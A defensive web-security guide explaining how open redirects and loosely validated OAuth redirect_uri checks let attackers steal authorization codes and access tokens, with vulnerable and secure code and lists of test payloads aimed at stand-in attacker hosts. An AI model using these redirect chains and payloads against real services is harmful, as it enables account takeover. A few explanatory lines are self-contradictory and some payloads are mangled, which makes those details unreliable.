Open Redirect Vulnerabilities: How URL Validation Failures Enable OAuth Token Theft

Open redirects are consistently underestimated in code review and penetration testing — but in OAuth 2.0 flows, a single unvalidated redirect_uri parameter can hand an attacker a victim's access token. This guide covers the vulnerability class, its exploitation in OAuth contexts, and the validation patterns that prevent it.

Open redirect (CWE-601) occupies an awkward place in security triage. It does not allow direct code execution, does not expose data by itself, and in a typical standalone bug it is rated low or informational. But in the context of OAuth 2.0 authorization flows — where callback URLs carry authorization codes and tokens — an open redirect can escalate to account takeover. Several real-world OAuth implementations have been broken by chains that start with a single unvalidated redirect parameter.

This guide covers the mechanics of the vulnerability, the OAuth token theft chain in practical terms, and the validation approaches that eliminate the risk.

What Is an Open Redirect

An open redirect occurs when a web application accepts a user-controlled URL parameter and redirects the browser to that URL without adequate validation. The application becomes a redirect proxy that any external origin can use.

The canonical form:

https://example.com/login?next=https://attacker.com

If the application redirects to https://attacker.com after processing, it is an open redirect. The user sees a URL for example.com in a link but ends up at attacker.com, often with no visible indication that the destination changed.

Common locations where open redirects appear:

  • ?next=, ?return=, ?redirect=, ?url=, ?to=, ?dest= parameters on login and logout flows
  • OAuth redirect_uri parameters that are not strictly validated against an allowlist
  • Post-authentication forwarding that reads from query string, form data, or Referer headers
  • API gateway and SSO logout endpoints that accept a post-logout redirect

The OAuth Token Theft Chain

The dangerous form of open redirect exploitation in OAuth combines two weaknesses: a poorly validated redirect_uri parameter on the authorization endpoint and an open redirect vulnerability anywhere on the OAuth client’s domain.

The OAuth 2.0 authorization code flow works like this:

  1. Client redirects the user to the authorization server with redirect_uri=https://client.com/callback
  2. User authenticates and consents
  3. Authorization server redirects the user back to redirect_uri with an authorization code: https://client.com/callback?code=AUTH_CODE
  4. Client exchanges the code for an access token at the token endpoint

The redirect_uri is supposed to be validated against a pre-registered list of allowed URIs. This prevents attackers from substituting their own URL. But many implementations are too permissive in what they consider a match.

Prefix matching vulnerability. Some authorization servers validate only that redirect_uri starts with a registered base URL. If https://client.com/callback is registered, they also accept https://client.com/callback?injected=true or https://client.com/callback/../../evil. This opens the attack:

Authorization request:
GET /oauth/authorize?
  client_id=app123
  &redirect_uri=https://client.com/callback/../../search?q=whatever&next=https://attacker.com
  &response_type=code
  &state=abc123

The authorization server validates the prefix, accepts the request, and redirects to https://client.com/callback?code=AUTH_CODE&...&next=https://attacker.com. If the client’s callback endpoint reads next and redirects again, the code (or token, in implicit flow) lands at attacker.com.

Path traversal variant. If the application has an open redirect at any path on the registered domain, an attacker can construct a redirect_uri that passes the prefix check but lands on the open redirect endpoint:

redirect_uri=https://client.com/some/open-redirect-path?url=https://attacker.com

After the authorization server redirects back, client.com immediately redirects to attacker.com, carrying the authorization code in the Referer header or as a URL parameter that the attacker’s server logs.

Implicit flow is worse. In the OAuth implicit flow (now deprecated but still in use in legacy applications), the authorization server returns the access token directly in the redirect URL fragment. An open redirect in this flow exposes the token directly:

https://attacker.com/#access_token=TOKEN&token_type=bearer&expires_in=3600

An attacker-controlled page can read location.hash to extract the token. No code exchange step is required.

Vulnerable Implementation Patterns

Pattern 1: Parameter-driven redirects with no validation

# Python/Flask — vulnerable
@app.route('/login')
def login():
    next_url = request.args.get('next', '/')
    # ... authentication logic ...
    return redirect(next_url)  # Blindly redirects to any URL

Pattern 2: Insufficient origin check

// Node.js — vulnerable
function safeRedirect(req, res) {
  const target = req.query.redirect;
  if (target && target.startsWith('/')) {
    res.redirect(target);  // Treats leading / as relative — but //attacker.com is also valid
  } else {
    res.redirect('/');
  }
}

Checking that a URL starts with / is insufficient — //attacker.com/path is a valid protocol-relative URL that browsers resolve to https://attacker.com/path.

Pattern 3: Allowlist that’s too broad

ALLOWED_REDIRECT_DOMAINS = ['example.com']

def validate_redirect(url):
    parsed = urlparse(url)
    return parsed.netloc in ALLOWED_REDIRECT_DOMAINS  # No scheme check

This passes javascript:alert(1) because urlparse('javascript:alert(1)').netloc is empty but the check returns False — but also passes https://evil.example.com if someone registers a subdomain. It also fails to handle URL encoding and null bytes that can confuse parsers.

Secure Implementation Patterns

For Redirect-After-Login

The safest approach is to never accept external URLs. Redirect-after-login should use relative paths only:

from urllib.parse import urlparse, urljoin
from flask import request, redirect, url_for

def is_safe_redirect(url):
    """Only allow relative paths on the same host."""
    if not url:
        return False
    parsed = urlparse(url)
    # Reject anything with a scheme or netloc — these are absolute URLs
    if parsed.scheme or parsed.netloc:
        return False
    # Reject protocol-relative URLs
    if url.startswith('//'):
        return False
    # Reject paths that could escape
    if not url.startswith('/'):
        return False
    return True

@app.route('/login', methods=['POST'])
def login():
    next_url = request.form.get('next', '')
    # ... authentication logic ...
    if is_safe_redirect(next_url):
        return redirect(next_url)
    return redirect(url_for('index'))

For OAuth redirect_uri Validation

Use exact string matching, not prefix matching. Register full callback URLs including path:

REGISTERED_REDIRECT_URIS = {
    'app_client_id': [
        'https://client.example.com/oauth/callback',
        'https://client.example.com/oauth/callback/silent',
    ]
}

def validate_redirect_uri(client_id, redirect_uri):
    allowed = REGISTERED_REDIRECT_URIS.get(client_id, [])
    # Exact match only — no prefix matching, no glob
    return redirect_uri in allowed

If you are implementing an authorization server, follow RFC 8252 (OAuth 2.0 for Native Apps) and RFC 6749 Section 3.1.2, which require exact matching for registered redirect URIs (or loopback URI variations for native clients). Prefix matching is explicitly called out as a security weakness in RFC 6749.

For APIs That Must Accept External URLs

If your application has a legitimate use case for redirecting to external URLs (link shorteners, preview services, outbound proxies), build an explicit allowlist and reject everything not on it:

ALLOWED_EXTERNAL_DESTINATIONS = {
    'partner_a': 'https://dashboard.partner-a.com',
    'partner_b': 'https://app.partner-b.io/landing',
}

def get_redirect_target(destination_key):
    target = ALLOWED_EXTERNAL_DESTINATIONS.get(destination_key)
    if not target:
        raise ValueError(f"Unknown destination: {destination_key}")
    return target

Never pass the destination URL directly from user input. Map user-supplied keys to server-side URL values.

URL Normalization Before Validation

URL parsing is inconsistent across libraries and languages. Normalize before validating:

from urllib.parse import urlparse, urlunparse

def normalize_url(url):
    """Normalize URL to detect evasion attempts."""
    # Decode percent-encoding
    import urllib.parse
    decoded = urllib.parse.unquote(url)
    # Lowercase the scheme and host
    parsed = urlparse(decoded)
    normalized = parsed._replace(
        scheme=parsed.scheme.lower(),
        netloc=parsed.netloc.lower()
    )
    return urlunparse(normalized)

Common evasion techniques that normalization catches:

  • HTTPS://attacker.com (uppercase scheme)
  • https://attacker.com%[email protected] (URL-encoded slashes in authority)
  • https://[email protected] (@ in host to abuse userinfo handling)
  • https://attacker.com\x00client.example.com (null byte injection)

Detection in Code Review

Look for these patterns when reviewing pull requests:

# Dangerous patterns to flag
response.redirect(request.params[:next])
res.redirect(req.query.url)
header('Location: ' . $_GET['redirect'])
window.location = getParameter('return_url')

For OAuth implementations specifically, search for:

  • Any redirect_uri validation that uses startsWith, contains, or regex rather than exact lookup
  • Dynamic redirect_uri construction that incorporates user input
  • Logging of full redirect URLs (which may include auth codes)

Testing for Open Redirects

Manual test payloads to try against ?next=, ?return=, ?url= parameters:

https://evil.example.com
//evil.example.com
//evil.example.com/%2F..
\/\/evil.example.com
https:evil.example.com
https://[email protected]
https://client.example.com.evil.example.com
https://client.example.com%00evil.example.com
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>

For OAuth redirect_uri parameters, test:

# If registered: https://client.example.com/callback
https://client.example.com/callback?injected=1
https://client.example.com/callback/../../../evil
https://client.example.com/callback%2F..%2F..%2Fevil
https://attacker.com/callback  # Different domain entirely
https://client.example.com.attacker.com/callback  # Subdomain confusion

A well-hardened implementation rejects all of these. Exact-match allowlists pass only the first test by design — any deviation from the registered exact value should be rejected.

Summary

Open redirects matter most at the intersection of authentication and authorization flows. A standalone open redirect is usually low severity. An open redirect on a domain registered as an OAuth redirect URI target — or on an endpoint that handles post-authentication forwarding — is a step in a token theft chain. The mitigations are straightforward: relative-path-only redirects for post-login flows, exact-match allowlists for OAuth callback URLs, and URL normalization before any validation logic runs.